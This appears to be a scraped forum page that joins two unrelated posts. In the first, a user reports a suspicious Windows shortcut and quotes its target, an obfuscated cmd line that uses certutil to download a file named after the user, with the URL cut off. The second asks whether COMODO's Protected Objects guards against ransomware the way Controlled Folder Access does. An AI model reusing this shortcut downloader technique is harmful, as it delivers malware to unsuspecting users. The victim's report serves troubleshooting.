When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H!

COMODO Firewall: Protected Objects & Controlled Folder Access? - Anti-Virus, Anti-Malware, and Privacy Software - BleepingComputer

Hello all,
On 2 of my Windows 10 devices, I have Kaspersky Security Cloud Free + COMODO Firewall (CruelSister Configuration). Having Kaspersky blocks me from using Controlled Folder Access (CFA), and I really like CFA and the "Protected Folders" business that Bitdefender has.
I noticed that in COMODO's Firewall (and all other products) there's a "Protected Objects" feature. I read all the guides and self-help articles, but I'm still confused as to if it acts the same as Window's CFA or Bitdefender's Protected Folders? (Same as in if ransomware gets executed, those particular folders in the Protected Objects category won't get encrypted). Or am I missing something?
I don't keep very much on my system (I just throw it in Google Drive or OneDrive and keep them away and unlinked from the system since ransomware can encrypt it as well), but very seldom I keep some documents and pictures locally for a short amount of time. Thus, as I'm no security wizard, I ask.
Many thanks.
